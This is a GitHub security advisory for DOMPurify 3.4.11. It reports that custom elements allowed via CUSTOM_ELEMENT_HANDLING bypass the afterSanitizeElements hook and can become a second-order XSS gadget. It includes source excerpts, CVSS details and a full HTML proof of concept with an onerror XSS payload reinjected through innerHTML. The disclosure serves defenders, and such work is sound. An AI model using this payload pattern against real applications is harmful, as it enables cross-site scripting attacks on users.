GHSA-c2j3-45gr-mqc4
ADVISORY - githubSummary
Summary
There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.
When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.
This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.
Details
The issue appears to originate from the control flow in src/purify.ts: line 1672~1691
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748
const customElementHandling =
objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
cfg.CUSTOM_ELEMENT_HANDLING &&
typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
? clone(cfg.CUSTOM_ELEMENT_HANDLING)
: create(null);
CUSTOM_ELEMENT_HANDLING = create(null);
In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.
During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814
/* Remove element if anything forbids its presence */
if (
FORBID_TAGS[tagName] ||
(!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
) &&
!ALLOWED_TAGS[tagName])
) {
return _sanitizeDisallowedNode(currentNode, tagName);
}
If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.
Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.
That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:
- the namespace validation at
src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
nodeType getter rather than `instanceof Element`, which is realm-
bound and short-circuits to false for any node minted in a different
realm — letting a foreign-realm element with a forbidden namespace
slip past the namespace check entirely. */
const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
_forceRemove(currentNode);
return true;
}
- the fallback-tag mXSS check at
src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
if (
(tagName === 'noscript' ||
tagName === 'noembed' ||
tagName === 'noframes') &&
regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
) {
_forceRemove(currentNode);
return true;
}
- most importantly for this report, the
afterSanitizeElementshook dispatch atsrc/purify.ts: line 1850~1851.
/* Execute a hook if present */
_executeHooks(hooks.afterSanitizeElements, currentNode, null);
In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.
In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.
PoC
Reproduced on DOMPurify 3.4.11.
Steps
- Save the following HTML to a file, for example
poc.html. - Open it in a browser.
- Observe that the
divcontrol losesdata-bio, while the allowed custom element keeps it. - Observe that after
connectedCallback()runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.
HTML PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>
<script>
window.__controlFired = false;
window.__candidateFired = false;
customElements.define("x-bio", class extends HTMLElement {
connectedCallback() {
const bio = this.getAttribute("data-bio");
if (bio) this.innerHTML = bio;
}
});
DOMPurify.addHook("afterSanitizeElements", node => {
if (node.hasAttribute && node.hasAttribute("data-bio")) {
node.removeAttribute("data-bio");
}
});
const config = {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^x-/
}
};
const controlInput =
'<div data-bio="<img src=x onerror=window.__controlFired=true>"></div>';
const candidateInput =
'<x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>';
const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);
const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);
setTimeout(() => {
document.getElementById("result").textContent =
"This is not direct DOMPurify XSS.\n" +
"The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
"control: " + cleanControl + "\n" +
"candidate: " + cleanCandidate + "\n" +
"after connectedCallback: " + container.innerHTML + "\n" +
"control fired: " + window.__controlFired + "\n" +
"candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
Expected result
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true
This is output of HTML PoC.
Impact
This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.
The impact is limited to applications that:
- enable
CUSTOM_ELEMENT_HANDLING, - rely on
afterSanitizeElementsas a security policy layer, - expect that hook to apply uniformly to all surviving elements,
- and have allowed custom elements that later re-inject preserved attribute values into
innerHTMLor another HTML sink.
In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.
Possible fixes or mitigations might include
- ensuring that allowed custom elements also consistently pass through
afterSanitizeElements - documenting clearly that elements preserved via
CUSTOM_ELEMENT_HANDLINGmay not participate in the same post-element hook flow as normal allowlisted elements.
GitHub
CVSS SCORE
2.1low| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| dompurify | npm | - | - | <=3.4.11 | 3.4.12 |
CVSS:4 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Successful exploitation of this vulnerability requires a targeted user to perform specific, conscious interactions with the vulnerable system and the attacker's payload, or the user's interactions would actively subvert protection mechanisms which would lead to exploitation of the vulnerability. Examples include: importing a file into a vulnerable system in a specific manner placing files into a specific directory prior to executing code submitting a specific string into a web application (e.g. reflected or self XSS) dismiss or accept prompts or security warnings prior to taking an action (e.g. opening/editing a file, connecting a device).
There is no loss of confidentiality within the Vulnerable System.
There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Subsequent System.
There is no loss of integrity within the Vulnerable System.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Subsequent System.
There is no impact to availability within the Vulnerable System.
There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.